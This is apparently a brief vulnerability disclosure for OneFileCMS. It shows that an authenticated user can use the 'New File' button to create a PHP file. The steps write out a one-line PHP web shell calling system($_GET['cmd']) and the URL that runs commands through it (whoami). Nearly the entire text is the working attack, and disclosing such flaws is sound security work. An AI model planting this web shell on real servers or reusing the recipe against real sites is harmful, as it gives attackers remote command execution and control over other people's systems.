The " New FIle " button cause getshell

[havysec]

http://fragrant:30001/OneFileCMS/onefilecms.php
use username and password login the page
type New filename '123.php' click Create

123.php created successfully.

click 123.php write below

<?php system($_GET['cmd']);?>

click save

123.php saved successfully.

fragrant:30001/OneFileCMS/123.php?cmd=whoami